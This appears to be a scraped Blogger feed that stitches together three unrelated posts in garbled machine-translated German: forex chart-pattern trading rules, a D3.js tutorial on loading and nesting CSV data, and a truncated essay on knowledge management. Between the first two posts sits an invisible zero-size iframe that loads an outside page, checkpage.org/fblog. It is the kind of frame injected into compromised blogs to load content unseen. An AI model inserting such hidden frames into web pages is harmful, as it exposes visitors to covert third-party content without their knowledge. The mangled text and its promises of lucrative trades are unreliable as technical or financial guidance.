Forex Scalping-Muster Dragon davolno gemeinsamen in der Forex-Markt und anderen Finanzmärkten und ermöglicht es den Händlern vertraut mit grafischen Analyse erfolgreich durch das Wissen über alle Details der Konstruktion und Weiterentwicklung der grafischen Modelle, der gewünschte Gewinn. In der technischen Analyse wird die Forex-Erkennung von verschiedenen Mustern als der Prozess definiert, durch den die Händler 171 die gegenwärtigen Ereignisse erkennen, während sie ein bestimmtes vorhersagbares Preismodell identifizieren.187 Obwohl die Muster forex selten auf derselben Handelsstufe oder in gleichen Zeitintervallen wiederholt werden Es gibt Muster, die sich auf bestimmte Weise und bestimmte Sequenzen wiederholen. Die Fähigkeit, solche Muster zu erkennen und Handel nach bestimmten Regeln auf dem Datendiagramm Muster können Ihnen helfen, ein erfolgreicher Trader Forex werden. In diesem Fall besteht die erfolgreiche Anerkennung von graphischen Modellen und deren Handel auf einem ersten Bezugspunkt und den grundlegenden Regeln der Handelsmethodologie. Diese Forex-Strategie, betrachten wir eines der Muster, genannt 171Dragon187. Und rechtfertigen die grundlegenden Regeln des Handels dieses Muster Forex. Forex-Markt selten bewegt sich von bearish bis bullish-Status und gegenüber (außer für V-Böden und einem V-Vertex), ohne irgendeine Art von Reihe von Preis-Trends, in denen die getesteten Unterstützung und Widerstand Ebenen getestet. Die Grundlage des Musters, wie es solche Zapfen sind, und gibt uns eine gute Methode, um sie für sie zu machen. Das Muster von 171Dragon187 kann in allen Zeitintervallen und auf allen Währungspaaren gefunden werden. Das graphische Modell des 171Dragon187: Muster von 171Dragon187 ist dem Muster oder W-Muster 171double bottom 171 sehr ähnlich, aber er hat einige verschiedene Regeln und Ziele. Dementsprechend ähnelt das umgekehrte Muster von Dämonen187 dem Muster von M oder 171Double Top187. 171Dragons187 wird sehr häufig auf dem Markt über die Marktböden erscheinen. Sowie 171double Böden187 Muster171dragons187 repräsentieren eine hervorragende Möglichkeit, Handel mit geringem Risiko in Bezug auf das mögliche Gewinnpotential zu öffnen. Das Muster der Dämonen187 beginnt mit der Entstehung des 171Kopfes187. Dann wird der Preis auf dem Diagramm verringert und bildet somit eine 2-ve-179Dragonklaue187. Sehr oft die Differenz zwischen den Daten mit 2 Füßen von 5 -10. Am zweiten Bein bildete sich ein Signal für die Marktumkehr - eine Umkehrbar oder eine Divergenz mit Oszillatoren (z. B. MACD, RSI, Stochastics etc.). Auch die Erhöhung der Transaktionen, die auf die Rotation der Marktpreise folgt, ist ein gutes Zeichen dafür Eine Umkehrung. Bei der Bildung des Musters können wir eine Trendlinie vom Dammkopf 187 zu seinem 171hump187 zeichnen. Sobald sich der Kurs oberhalb der Trendlinie schließt und wir so eine grafische Bestätigung erhalten (oder eine Bestätigung des obigen Oszillators erhalten), so ist dies ein Signal der Trendumkehr. 2-m Forex-Bestätigung dieses Musters schließt Preise über dem Niveau des resultierenden 171hump187, der die maximale Oszillation zwischen den beiden resultierenden 171legs Drachen darstellt.187 Die Struktur des Musters, 171Dragon187: A 8212 171dragon8217s head187 B 8212 171Die erste Etappe von Der Drache C 8212 171Hump the Dragon187 (muss innerhalb von 0.38 sein 8212 0.5 von AB) D 8212 171Das zweite Bein des Dragon187 (tendenziell 0.618 oder 1.27 von der AB) E 8212 Break gebildet Trendlinie (das Signal, um eine Handelsposition zu öffnen Zu kaufen) F 8212 Das erste Gewinnziel 8212 1,27 CD G 8212 Das zweite Gewinnziel 8212 0,886 8212 1,0 So H 8212 Das dritte Ziel des Gewinns 8212 1,38 AB I 8212 Sicherheits-Stop-Loss-Aufträge müssen ein paar Zecken unter dem niedrigsten Minimum platziert werden Von zwei Füßen des Drachen. In Abbildung 3 sehen Sie ein Muster, 171Dragon187 30-Minuten-Preis-Chart (M30) Futures Dow E-Mini. 3. Januar 2007 Marktpreis bildeten einen Dammkopf187. Danach fiel der Preis auf 8. Januar, bis, bis es die erste Etappe des Drachen gebildet wurde. 8. Januar war ein Versuch, das Preisniveau von 12.520 wiederherzustellen. Dann können wir eine Trendlinie zeichnen, die mit der Spitze eines Drachenkopfes und der Spitze des ersten Beines des Drachen verbindet. Und am 10. Januar wurde das zweite Bein des Drachen gebildet, die Preis-Chart von der Spitze des Höckers auf das Niveau des Drachen 12420 zurückverfolgt. Endgültige Bestätigung der Bildung eines Musters, 171Dragon187 wurde die Marktpreise über die Linie, die gebildet wurde Das Trendniveau von etwa 12.500. 1. Offene Handelsposition zum Kauf zum Preis von 12520 zum Schlusskurs über dem Maximum der Pannenbar. 2. Profit-Ziel 8212 1-th Vibrationspeak vor dem Fuß des Drachen (1) bei 12.570 und der Bereich 171a dragon8217s Kopf auf der Ebene von 12.640. 3. Platzieren Sie einen Sicherheitsstopp-Verlustauftrag unter dem niedrigsten niedrig-gebildeten 2-foo t Niveau nahe 12.410. Das umgekehrte Muster von 171Dragon187 erinnert an ein 171double top.187 Die Terms of Trade sind die gleichen wie für das direkte Muster, Dragon187. 171 Hump-Drache 187 ist oft in einem Abstand von 38-50 des Dammkopfes187 bis zu einem seiner Beine gebildet. Das Schließen der unter der Trendlinie gebildeten Kerzen erzeugt ein Signal, um in Handelspositionen zu gelangen. Das Verschließen der unterhalb des Buckels gebildeten Kerzen bestätigt erneut die Bildung eines Musters und gibt ein weiteres Signal für den Verkauf. 1. Sollte eine Handelsposition auf dem Markt unter der Trendlinie gebildet. 2. Profitziel 8212 ein Minimum an Schwung, das dem ersten Drachen des Drachen 171 vorausgeht.187 3. Soll eine Sicherheitsstopp-Loss-Ordnung über dem Hoch des Drachen des zweiten Beins platziert werden. Schlussfolgerungen zum Muster von forex 171Dragon187: Muster von Dragon stellen eine Variante von 2-Tops und double Bottoms dar. Diese Muster ermöglichen es uns, den Devisenhändler die wichtigen Wendepunkte im Forex-Markt zu finden und den Übergang von einem Trend zum Gegenteil vorherzusagen. Obwohl die graphischen Modelle 171dragon187 selten bei den täglichen und wöchentlichen Charts der Preistabellen gefunden werden, werden sie sehr oft in kleineren Zeitintervallen s gefunden, und der Handel auf diesen Mustern gibt eine große Chance zu schließen, dass es ein lukratives Geschäft war. Auch können Sie die zusätzlichen Indikatoren Forex für größere Zuverlässigkeit im Handel auf sie hinzufügen. Wie man den Forex Doji Breakout - ein Doji ist ein kleines körperreiches japanisches Candlestick-Muster, deren Öffnen und Schließen sind auf dem gleichen oder fast den gleichen Preis. - Ein Doji ist in der Regel Teil der gemeinsamen japanischen Candlestick Umkehrmuster wie die bullish Morning Star und bearish Abendstern Muster - Da Dojis in einer großen Anzahl von Umkehrmustern gefunden werden, denken die Händler automatisch, dass die einzelnen Doji ist eine Umkehrung Candlestick. Aber in Wirklichkeit repräsentiert das Doji selbst die Unentschlossenheit am Markt. - Ein Doji Breakout-Setup bietet ein ausgezeichnetes Risiko, Chance für Forex-Händler zu belohnen. Learn Forex: Familie von Dojis Das lowly doji ist sehr unscheinbar im Aussehen. Typischerweise sieht es aus wie ein Plus-Zeichen, sondern kann als ein Kapital ldquoTrdquo in der Dragonfly doji Muster oder die Form eines Nagels im Grabstein Doji erscheinen. Wir werden diskutieren die ersten beiden Arten von dojis gefunden in der ldquocheat sheetrdquo oben. Diese kleinen Kerzen können zu großen Ausbrüchen führen, die entweder Trends fortsetzen oder sie umkehren. Wir werden auf die Art und Weise zu handeln diese Macht verpackt Preismuster mit begrenztem Risiko für maximale potenzielle Gewinn Lernen Sie Forex: Wie man einen japanischen Candlestick lesen Typische Leuchter bestehen aus einem Körper, der eine von zwei Farben blau oder rot sein kann. Eine Kerze ist blau, wenn Käufer waren in der Lage, Preise über den Eröffnungskurs zu drücken und konnten sie bis zum Ende der Kerze halten. Eine Kerze ist rot oder bärisch ist der Verkäufer waren in der Lage, Preise unter den Eröffnungskurs zu drücken und halten es dort bis zum Ende. Learn Devisen: Wie man einen Doji Candlestick liest Auf der anderen Seite haben die Doji-Kerzen keine Farbe. Die doji und long-legged doji illustrieren den Kampf zwischen Käufern und Verkäufern, die in einer Krawatte endete. Der Eröffnungskurs und der Schlusskurs liegen an der gleichen Stelle, da Stiere nicht in der Lage waren, die Preise höher zu schließen und Bären konnten die Preise nicht senken. Wie man die Doji Breakout Trade Ideally, Sie wollen ein Doji, die in der Nähe von einem Niveau der Unterstützung wie eine Trendlinie gebildet hat. Sie wollen die doji high und die doji niedrig zu identifizieren, da dies die Unterstützung und Widerstand Ebenen eines potenziellen Ausbruch zu bestimmen. Erfahren Sie Forex: GBP JPY Doji Range Breakout-Handel (erstellt mit FXCMrsquos Marketscope 2.0-Charts) Als nächstes möchten Sie für eine vollmundige Kerze warten, um entweder über dem Doji hoch oder unter dem Doji niedrig zu schließen. Da Stiere und Bären zum Stillstand gekommen sind, sollte ein hoher Volatilitätsausbruch erfolgen, der diesen aufgestauten Druck freisetzt. Wenn Sie einen Breakout unterhalb des Doji-Low erhalten, legen Sie einen Schutzstop etwa 4 Pips über dem Doji-High und geben Sie kurz am Ende der Breakout-Kerze ein. Berechnen Sie die doji Bereich und multiplizieren, dass mal zwei, um die Grenze zu erhalten. Da Ihr Stopp der Bereich selbst ist, möchten Sie das doppelte anfängliche Risiko anvisieren. Erfahren Sie Forex: Verwalten von Risiko mit dem Doji (erstellt mit FXCMrsquos Marketscope 2.0-Charts) Auf der anderen Seite, wenn eine vollmundige Kerze schließt über dem Doji hoch, geben Sie lange am Ende der Kerze und legen Sie einen Anschlag 4 Pips unter dem Tiefpunkt Der doji. Das ist Ihr Trigger, um lang zu erhalten. In dem obigen Beispiel war der Doji-Bereich 20 Pips und der doppelte Bereich gab mir ein Ziel von 40 Pips. Beachten Sie, wie signifikant das Hoch des Doji war, wie es als Unterstützung fungierte. Es ist wichtig zu beachten, dass einige Dojis in Perioden niedriger Volatilität, wie die in der Asien-Session gefunden, geben viele falsche Signale. Also das nächste Mal sehen Sie die doji auf Ihrem Forex-Charts, geben dem kleinen Fella einige Respekt, wie es Ihnen sagen kann, eine Menge über Einstellung Stopps und Grenzen für den nächsten großen Breakout Trade --- Geschrieben von Gregory McLeod, Trading Instructor Ich hoffe, dass Sie gelernt Wie man Ausbruch Trades mit der doji japanischen Candlestick Muster sowie Regeln für den Handel doji Ausbrüche. Wenn Sie neu an Leuchter Charting sind oder wollen Sie Ihr Wissen über Candlestick Muster weiter. Registrieren Sie mein Gästebuch, um eine kurze 20-minütige kostenlose Tutorial-Preis-Aktion Candlesticks, indem Sie hier klicken DailyFX bietet Forex News und technische Analyse über die Trends, die die globalen Währungsmärkte beeinflussen.</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-26860006357278286672017-08-01T03:41:00.000-07:002017-08-01T03:41:20.090-07:00D3 Js Gleitender Durchschnitt<p>Updates: 1) I8217ve legte alle Codebeispiele in codepen. iocollectionnjzYxo 2) Ich schreibe diesen Beitrag nach I8217m fertig meiner Visualisierung mit React-Serie, weil it8217s 4 Jahre alt und es gibt andere Möglichkeiten, dies zu tun jetzt. Daten sind das erste D in d3 (oder möglicherweise das dritte, aber es8217s definitiv einer von diesen). Sowieso. Setzen Sie Ihre Daten in die richtige Form ist entscheidend, um prägnante Code, der schnell läuft und ist leicht zu lesen (und später zu beheben) zu haben. Also, welche Form sollten Ihre Daten in Sie zweifellos haben viele Optionen. Um dieses Tutorial zu befolgen, gehen wir davon aus, dass Sie die Beziehung zwischen R038D-Ausgaben und dem BIP-Wachstum für eine Reihe von Ländern skizzieren möchten. Sie haben diese Datei. Voll tabellarischer Daten, die für jedes Land einen Namen, einen Kontinent, die Brutto-R038D-Ausgaben in Prozent des BIP, das BIP-Wachstum und für die Kontextpopulation und das Pro-Kopf-BIP auflistet. Also eine sehr grundlegende Ansatz wäre, um jede dieser Variablen in einem unabhängigen Array. (Don8217t bower scrolling, it8217s mehr von der gleichen) Dann können Sie nur erstellen Markierungen für jedes Datenelement und holen jedes Attribut unabhängig. Let8217s tun ein Blasendiagramm zum Beispiel. (Small aside: in der Post habe ich gewonnen8217t gehen Sie durch den Code, um die svg Container oder die Waage, anstatt sich auf die Datenstrukturen. Dieser Code, der wirklich nichts Besonderes ist, finden Sie im Quellcode der Beispiele) . Um unsere Kreise zu kreieren, würden wir so etwas schreiben: Siehe Beispiel in einem eigenen Tab oder Fenster, aber das ist die Hölle. Wenn aus irgendeinem Grund ein Fehler in einem der Werte auftritt, beispielsweise aufgrund einer Katze oder eines kleinen Kindes in der Nähe des Computers, ist der Fehler sehr schwierig zu beheben. Ein weiteres Problem ist, dass es sehr schwierig ist, jede Art der nachfolgenden Behandlung auf die Daten anzuwenden. Zum Beispiel werden Sie feststellen, dass es kleinere Blasen vollständig innerhalb der großen Orangenblase, die geschieht, auf sie zu sein. Es ist also nicht möglich, die kleineren Blasen zu überstreichen. Ein Weg, um Adresse, die zu sortieren Daten in der Reihenfolge der abnehmenden Bevölkerung (die Größe der Blasen), so dass es unmöglich wäre, diese Art von Situation zu haben. Nun, während es möglich ist, 6 Arrays nach den Werten von einem zu sortieren, ist es sehr chaotisch. Idealerweise sollten Sie alle Werte haben, die in einem einzigen Objekt grafisch übersetzt werden sollen. Sie möchten ein Array dieser Objekte haben, das Sie an die Datenmethode übergeben und so etwas schreiben können: Hier haben Sie nur eine Datenquelle, die viel sicherer ist. Also, wenn you8217re denken: Ich weiß, ich sollte eine Variable wie folgt zu erstellen: und dies getan, und darüber hinaus, wenn Sie 8220Hey denken, kann ich dies in Excel aus meiner CSV-Datei, mit einer Formel, die ich über die rows8221 kopieren , Müsst ihr jetzt im Namen all dessen, was gut und heilig ist, aufhören. Obwohl es funktioniert: Dieser Ansatz hat eine Reihe von Fehlern, die Sie alle vermeiden können, wenn Sie lesen. Zuerst wird die Ausführung Ihres Programms gestoppt, während Ihr Browser den Quellcode liest, der die Variable 8220data8221 enthält. Dies ist für 36 Zeilen vernachlässigbar, aber da Objekte immer größer und komplexer werden, kann eine äquivalente Variable Sekunden oder sogar Minuten zum Laden benötigen. Und jetzt haben wir ein Problem. That8217s ein Problem für Ihre Benutzer. Nun zu Ihnen: das Erstellen einer JSON-Variablen aus tabellarischen Daten ist mühsam und fehleranfällig. Die Formelbearbeitung Schnittstelle in Excel doesn8217t wirklich helfen Ihnen, wo Sie ein Zitat oder einen Doppelpunkt verlegt haben. Infolgedessen ist dies sehr zeitaufwändig. Don8217t tun, dass: es ist ein viel einfacher Weg. Gibt die Funktion d3.csv ein. Here8217s, wie es funktioniert. Sie sagen Ihrer d3.csv-Funktion den Speicherort einer csv-Datei (die wir alle zusammen hatten) und eine Funktion, die auf dem Array von Objekten ausgeführt werden muss (was wir immer wollten), indem Sie die erste Zeile als Schlüssel erstellt haben. Mit anderen Worten, sobald innerhalb der d3.csv-Funktion, die 8220csv8221 Variable wird genau das, was wir zugewiesen 8220data8221 früher, mit einem großen Unterschied, dass wir didn8217t haben, um diese Variable zu produzieren oder jede Art von manuellen Eingriff zu machen: wir sind Bestimmt entspricht er genau der Datei. Eine nette Sache mit dieser Methode ist, daß, da Ihre Variable nicht explizit im Quellcode ist, Ihr Browser es viel schneller lesen kann. Die Daten werden nur gelesen, wenn die Funktion d3.csv aufgerufen wird, im Gegensatz zum vorherigen Ansatz, bei dem die Gesamtheit des Quellcodes (einschließlich der Daten) gelesen werden musste, bevor die erste Anweisung ausgeführt werden konnte. Natürlich macht es nur einen Unterschied, wenn die Datengröße signifikant ist. Aber mit der d3.csv Ansatz würde Sie anzeigen eine 8220loading data8221 Warnung irgendwo auf Ihrer Seite, und entfernen Sie es, wenn in d3.csv. Viel besser als eine leere Seite. Drei Einschränkungen mit dieser Methode. Dies funktioniert nicht mehr in einem lokalen Dateisystem (dh beim Öffnen einer Datei im Browser). Die resultierende Datei kann nur auf einem Webserver laufen, der lokal sein kann (dh die Seite hat eine URL). Was auch immer in der d3.csv-Funktion geschieht, ist nicht mehr im globalen Geltungsbereich des Programms. Dies bedeutet, dass nach dem Start des Programms können Sie nicht öffnen Sie die Javascript-Konsole und überprüfen Sie den Wert von 8220csv8221, zum Beispiel. Dies macht diese Programme etwas schwieriger zu debuggen (es gibt natürlich Möglichkeiten, wenn). Alles, was aus der Datei gelesen wird, wird als Strings behandelt. Javascript macht eine Menge von Typ-Konvertierung aber darauf achten, dass, oder Sie haben Überraschungen. Dies ist, warum ich schrieb x (d. GERD) zum Beispiel (vor einer Zeichenfolge konvertiert sie in eine Zahl). Um diese überlegene Art der Datenerfassung zu feiern, werden wir in eine animierte Dateneingabe geworfen: Die Kreise werden bei einem Standardwert initiiert und bewegen sich zu ihrer Position. Sie können den Link überprüfen, um den Übergangseffekt zu sehen. So ist auf der Ebene der Marke (dh unserer Kreise) die bequemste Form der Daten ein Objekt mit mindestens so vielen Tasten, wie es grafische Eigenschaften dynamisch ändern. Eine flache Datenreihe ist in Ordnung, wenn wir nur eine Datenreihe haben. Aber was, wenn wir mehrere Serien in der Tat haben, haben die meisten Visualisierungen eine Struktur und eine Hierarchie. So let8217s gehen mit unseren Daten, aber jetzt let8217s nehmen an, dass wir Werte für verschiedene Kontinente als verschiedene kleine Scatterplots (8220small multiples8221) zeigen wollen. Intuitiv: we8217ll wollen 5 8220g8221 Gruppen zu unserem svg Behälter addieren, eine für jeden Kontinent und fügen dann ein Punkte pro Land in jedem Kontinent diesen Gruppen hinzu. Unsere Flat-Array so8217t Arbeit so gut dann. Was tun? Die Antwort d3 auf dieses Problem ist der d3.nest () Satz von Methoden. D3.nest () dreht ein flaches Array von Objekten, das dank d3.csv () ein sehr einfach verfügbares Format ist, in einem Array von Arrays mit der Hierarchie, die Sie benötigen. Nach unserer Intuition, wouldn8217t es schön, wenn unsere Daten wäre: Ein Array aus 5 Elementen, eine für jeden Kontinent, so könnten wir die 8220g8221 Gruppen erstellen, Und wenn jedes dieser 5 Elemente enthalten ein Array mit den Daten aller entsprechenden Länder, noch in diesem Objekt-Format, das wir lieben Dies ist genau das, was d3.nest (). D3.nest (), go Mit der. key () - Methode geben wir an, was wir zur Erstellung der Hierarchie verwenden werden. Wir wollen diese Daten nach Kontinenten gruppieren, so dass wir diese Syntax verwenden..sortKeys wird verwendet, um die Schlüssel in alphabetischer Reihenfolge zu sortieren, so dass unsere Panels in der alphabetischen Reihenfolge der Kontinente erscheinen. Wenn wir dies auslassen, erscheinen die Panels in der Reihenfolge der Daten (dh Ozeanien zuerst als Australien ist das erste Land). Wir hätten das vermeiden können, indem wir zuerst die Daten nach dem Kontinent sortierten, bevor wir sie verschachtelten, aber es war einfacher. Hier haben wir nur eine Ebene der Gruppierung, aber wir könnten mehrere durch Verkettung mehrere. key () - Methoden haben. Der letzte Teil der Anweisung. Einträge (csv), sagt, dass wir diese Operation auf unsere CSV-Variable zu tun. Hier ist, was die Daten-Variable aussehen wird: Nun, da wir unsere Daten in einer idealen Form let8217s ziehen die Marken: (Sie können auf den Link klicken, um den Übergangseffekt sehen und lesen Sie die vollständige Quelle). Dies ist alles sehr schön, aber wouldn8217t es besser sein, wenn wir einige aggregierte Informationen von den Kontinenten Let8217s versuchen, um herauszufinden, die durchschnittlichen Werte für R038D Ausgaben und BIP-Wachstum zu charakterisieren könnten. Kann es leicht gemacht werden Dies ist ein Job für die andere main d3.nest-Methode, Rollup. Rollup ist die Aggregationsfunktion. Hier ist ein Beispiel. Denken Sie daran, wie die Kombination von. key () und. entries () ein Array in Arrays von kleineren Arrays umgibt, wobei der Wert, der an die Funktion innerhalb der Rollup-Methode übergeben wird, jeder dieser Arrays ist Array von allen Objekten entsprechend Ländern in Amerika, dann ein Array von allen Objekten entsprechend Ländern in Europa, etc.) Auch wenn wir sortKeys in unserer vorherigen Nesting-Bemühung verwenden, verwenden wir sie auch hier besser. Hier ist, was die Variable aussehen wird: Unglaublich nur die Werte, die wir brauchen. Jetzt geht es nur darum, sie zur Skizze hinzuzufügen. Zwei kleine Ergänzungen hier: Dies ist das letzte Beispiel 8211 wieder können Sie auf den Link klicken, um den Übergang zu sehen und erhalten Sie die Gesamtheit der Quelle. Auf der Markierungsebene möchten Sie Objekte mit so vielen Eigenschaften haben, wie Sie grafische Variablen (wie x, y, füllen usw.) mit d3.csv () und eine flache Datei benötigen (d3 bietet auch Funktionen wie D3.json oder d3.xml, um Daten in einem anderen Format zu verarbeiten). D3.nest kann Ihnen helfen, gruppieren Sie Ihre Einträge, um Ihre Daten zu strukturieren und erstellen Sie mehr anspruchsvolle Visualisierungen Rollup kann verwendet werden, um die Daten gruppiert mit d3.nest Post navigation Lassen Sie eine Antwort Antworten abbrechen Sehr gut Tutorial Jerome 8211 während CSV doesn8217t bieten 8220spontaneous8221 Daten wie a MySQL-Abfrage, es verbessert sich erheblich auf die manuelle Eingabe-Ansatz. Ich vermute, die CSV könnte mit genug Flexibilität und Detail entworfen werden, um eine Datenbank zu simulieren, mit verschiedenen Filtern in d3. Hallo, danke obwohl d3 kann komplett interagieren mit einer Datenbank wie mySQL mit einem ähnlichen Ansatz jeromecukier. netblog20120102using-d3-mit-a-mysql-Datenbank, aber wenn Sie Daten im tabellarischen Format zu beginnen, ist d3.csv sehr praktisch Sehr nützlich Tutorial I8217d wie zwei Fragen zu stellen: Erstens: kann ich umbenennen die Attribute GERD und Wachstum, sagen wir. Als avgGERD oder avggrowth anstelle des alten Namens (Think of the AS-Schlüsselwort in SQL) zweite Frage: Bin ich gezwungen, zuvor alle Länder gruppieren, um die gleichen Attribute (in diesem Fall GERD und Wachstum) über das Array zu durchschnittlich Der Länder in einem Kontinent I8217m sollte auf einer ähnlich verschachtelten Struktur und I8217ve einige Mühe arbeiten, da ich can8217t definieren einen Accessor für die d3.mean () - Funktion. Vielen Dank im Voraus funktionieren würde. (Oder einen gültigen Schlüsselnamen anstelle von a und b). 2) technisch, nein. Aber Sie können wollen. Für jede Datenoperation in d3 oder javascript im Allgemeinen, und dies ist etwas, das ich in das Tutorial gesetzt haben könnte, gibt es die Möglichkeit, von einer leeren Struktur (entweder ein leeres Array oder ein leeres Objekt), Schleife durch die Quelldaten und starten Fügen Sie etwas zur Struktur hinzu. Zum Beispiel könnte ich schreiben: avgs csv. forEach (Funktion (d) var cd. continent wenn (avgs) avgs. navgs. n1 avgs. GERDavgs. GERDd. GERD avgs. growthavgs. growthd. growth sonst avgs) keys (avgs). Für jede (Funktion (c) avgs. GERDavgs. GERDavgs. n avgs. growthavgs. growthavgs. n) wird dies die gleiche Ausgabe wie zuvor ohne eine Nesting-Funktion, it8217s ein bisschen länger zu schreiben, aber möglicherweise klarer. Weniger triviale Operationen sind auch während der Schleife möglich. Vielen Dank für die schnelle Antwort Irgendwann habe ich das gleiche mit Ausnahme der Tatsache, ich habe nur einfach Javascript. Ich war neugierig, wenn man die Aufgabe innerhalb der. rollup () - Funktion ausführen könnte. PS: Kudos für Ihre große Lehre Stil, I8217m Lernen d3 und dieses Tutorial war unglaublich nützlich. Haufen von Kommentaren hier reden über die Arbeit mit einer echten Datenbank aber die nette Sache über dieses aus csv ist, dass Sie immer die Daten aus Ihrer Datenbank zu ziehen und schreiben csv-Dateien mit ihm 8211 auf diese Weise die Daten sowohl herunterladbar und funktioniert mit Das Tutorial sehr schön. Das würde obv geben dem Benutzer mehr Flexibilität, um die Daten auf andere Weise verwenden, sollten sie wollen oder müssen. Hallo Jerome. Das ist unglaublich hilfreich für mich. Eine Frage 8211, wie ich den Code ausführen, ohne die Namen der Attribute (Kontinent, GDP, etc.) I8217m sehr neu zu d3 so leid, wenn dies einfach ist. Ihr Code für die Referenz unten: d3.csv (8220data. csv8221, Funktion (csv) zuerst sortieren wir die Daten, dann erstellen wir die Markierungen, die wir in eine Ausgangsposition svg. selectAll (8220circle8221).data (csv).enter ( (8220c8221, Funktion (d)).attr (8220c8221, Funktion (d)) jetzt beginnen wir 8211, die Markierungen an ihre Position zu bewegen Große Tutorial, dies War super hilfreich für meinen Eintritt in d3 mit csvs I8217m versuchen, ein Liniendiagramm mit Datum als die x-Achse, die Summe der Aufträge als die y-Achse, und eine Zeilenfarbe für jeden meiner drei Läden. Mein Datensatz hat eine Zeile für Jeden Auftrag, so muss ich die Reihenfolge nach Datum und speichern: d3.csv (Datei, Funktion (Fehler, Daten) Daten data. map (Funktion (d) return store: d. store, date: parseDate (d. date ), Bestellungen: d. orders) Ich bekomme immer einen Fehler an dieser Zeile in den Code, und obwohl die Achse sind auf der Seite gezeichnet, gibt es keine Daten: Können Sie bieten jede Einsicht Vielen Dank im Voraus i can8217t definitiv ohne zu sehen Datendatei, aber meistens, definieren Sie Ihre Zeile Funktion irgendwo gut, würde der Name der Attribute von Ihrer Datendatei kommen. So dass davon ausgegangen, dass Sie wissen, Ihre Datei. Dass gesagt, für jedes Element des Arrays, können Sie tun, d3.keys (), die die Liste der Eigenschaften dieses Elements zurückgeben wird. Dh d3.keys (csv0). Hi Jerome, ich bin sehr neu in D3.js, derzeit arbeitete ich an einem Schulprojekt mit d3 und json. Ihr Tutorial war sehr hilfreich, so entscheide ich, es in meinem Projekt implementieren, da es die verschachtelten Daten seine viel ähnlicher zu mir, obwohl meine ist json Datei. Im Moment gruppiert es die Daten korrekt leider die einzelnen Daten, die durch den Kreis dargestellt wird, funktionieren nicht. Ich frage mich, was schief gelaufen ist, ich schätze es wirklich, wenn Sie einen Blick an ihm nehmen können. Hier ist der link zum projekt (githubemeshIPU-Zabbix-D3) Vielen Dank im Voraus Hey, danke für das Tutorial. Ich war ein wenig weg von den 3 Vorbehalte, aber they8217re eigentlich viel kleiner als Sie es klingen: 1. Ein wirklich einfacher Weg, um etwas auf einem Webserver laufen wird mit Site44 8211 Host die Dateien aus Ihrem dropbox. 2. Nicht sicher, dass ich dieses verstehen. Definieren Sie einfach eine globale Variable, dann weisen Sie ihr Werte im Callback zu. 3. Yep. Viele Tutorials über die Verwendung von json oder csv mit d3.json oder d3.csv, aber die einfachste Idee der Verwendung eines Arrays oder Datenobjekt ist immer noch ein mystery8230 Für einfache Anwendungen, die Aktualisierung eines Json oder CSV-Datei dynamisch ist ein Albtraum. In der Lage, ein Objekt mit den erforderlichen Daten dynamisch laden sollte einfach sein, verdammt es wirklich hilfreich Tutorial. ThanksRecently, ich wurde gefragt, wie Sie ein nachhaltiges Wissensmanagement schaffen. Die Antworten, die sie zuvor anscheinend auf diese Linien lagen, waren: unterschiedliche Wissensmanagementsysteme, Prozesse, Governance, Artefakte und Strukturen Das an diesem Wissensmanagement arbeitet. Denken Sie daran, dies war kein Projekt auf Wissensmanagement, sondern ein Programm, dass der Client war immer in. Sie dachten, dass sie Wissensmanagement dafür. Es gibt nichts, um die Antwort Schuld. Jahre des Management Lernens lehrte uns, dass, wenn wir ein Problem lösen wollen, mieten Menschen, es zu tun, Ressourcen zuzuteilen, und zeigen Engagement für sie. In der Tat, wir sprechen darüber, wie organisatorische Change Management (OCM). Sicher genug, dass es Beispiele für solche Fälle gibt. Bekanntlich zeigte IBM, wie es neue Systeme schaffen und unterstützen kann. Microsoft neu erfunden in der Internet-Ära, indem Sie genau das gleiche, bei der Schaffung einer neuen fokussierten Division. Doch in diesem Fall ist diese Antwort völlig falsch. Es sei denn, das Unternehmen ist im Geschäft des Wissensverkaufs, Wissensmanagementsysteme scheitern. Diese Art von Ansatz scheitert, wenn der Schwerpunkt nicht Wissensmanagement bedeutet. Dieses Problem ist insbesondere in vielen Wissensaustauschanwendungen, Kollaborationssystemen, Ausbildungssystemen und so weiter. Die allgemeine Erklärung, dass die Menschen geben, ist, dass die Designer scheiterte bei der Schaffung der richtigen Programme. Dass sie sich nur auf Computersysteme konzentrierten und OCM vernachlässigten. Oder, dass sie nicht genug Geld für die Unterstützung zuteilen. Alle diese Gründe sind richtig, aber nicht wirklich vollständig korrekt. Es gibt einen Grund, warum viel mehr Geld nicht zugewiesen wird, das Management sieht nicht den ROI. Oder, es ist ein Grund, dass sie OCM vernachlässigt dies war nicht der Fokus. Also, sagen wir, dass diese Systeme nicht wichtig sind Können wir sie wichtig machen Oder sollten wir sie sogar wichtig machen Lassen Sie uns dieses Thema ausführlich betrachten. Wie Organisationen versuchen, digital zu werden, erkennen sie die Bedeutung dieser Art von unterstützenden Systemen und noch nicht wissen, wie sie erfolgreich zu machen. Sie arbeiten über bringen viel mehr Berater, die Organisationskultur zu ändern und weiterhin scheitern. Daher verdient es ein tieferes Verständnis. Theorie der Nachhaltigkeit Am Anfang, in der Frage, die ich gefragt wurde, gab es ein Schlüsselwort: 8220nachhaltig8221. Normalerweise sehen wir dieses Wort in Ökologie, Architektur und Sozialwissenschaften. Dort spricht man über dauerhafte Systeme, Systeme, die sich selbst auffrischen, Systeme, die keinen externen Reiz benötigen, um sich selbst zu unterstützen. Normalerweise spricht man in der Ökologie über den Fußabdruck der Systeme: die Bemühungen, ein System zu schaffen, ein System zu pflegen und so weiter. Um ein System nachhaltig zu machen, wollen wir sicherstellen, dass es einen geringen Platzbedarf hat, und es hängt nicht von irgendjemandem explizitem Bemühen ab, es zu behalten. Lassen Sie uns zum Beispiel die nachhaltige Architektur betrachten: Es bedeutet, dass der Grundriss der Architektur niedrig ist. Es kann sich selbst durch geringen Energieverbrauch und vielleicht mit Solarenergie erhalten. Auch kann es recycle Wasser. Es kann Abfall zu reduzieren. Alle diese Metriken bedeuten, dass es nicht viel dauert, um die Architektur zu erhalten. Zum Beispiel in meinem Dorf, sind diese strohgedeckten Häuser mit Crossflow-Belüftung und Freiflächen gebaut. Heute werden die modernen Häuser mit Ziegelsteinen mit Fenster-AC-Einheiten gebaut. Kommen Sommer-Stromausfälle, sind die modernen Häuser unerträglich, während die alten Häuser sind nur unangenehm. Es ist das gleiche mit städtischen Design auch, wenn es mit der Natur harmonisch ist, ist es einfach zu erhalten. Die meisten Städte können nicht erhalten, ohne viel Mühe in diesen Tagen in die Straßen, 